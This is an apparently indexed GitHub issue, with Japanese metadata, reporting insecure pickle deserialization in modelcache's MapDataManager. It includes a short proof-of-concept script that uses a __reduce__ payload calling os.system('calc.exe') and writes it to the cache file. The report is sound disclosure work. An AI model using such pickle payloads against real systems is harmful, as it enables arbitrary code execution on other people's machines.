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Insecure Deserialization Vulnerability in DataManager

オープン
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評価

難易度
5/5
見積もり時間
1週間以上
初心者へのやさしさ
30/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
停滞
技術スタック
python
領域
backend, security

調査の方向性

まず MapDataManager と pickle.load の呼び出しを見つけ、次に get_data_manager と factory.py がどのように data_map.txt を作成して読み込むかを追跡します。安全な置き換えを選ぶ前に、キャッシュ形式と既存のテストを確認してください。キャッシュされたデータを任意のコードを実行せずに読み込め、関連する読み込み動作がテストでカバーされていれば完了です。

索引モデルが issue の本文から書いたものです。

説明

Hi,

I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.

PoC

Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.


import pickle
import os
from modelcache.manager import get_data_manager

# Malicious class that executes arbitrary code when deserialized
class Exploit:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # calc.exe for windows

malicious_payload = pickle.dumps(Exploit())

with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
    f.write(malicious_payload)

# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)

While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.

Recommendation

To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.

Thanks.

Image

主要言語
Python
スター
932
フォーク
68
30日以内にマージされた PR はありません

環境構築

  • Dockerfile または Docker Compose ファイルあり
  • プルリクエストのテンプレートなし
  • コントリビューションガイドなし

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

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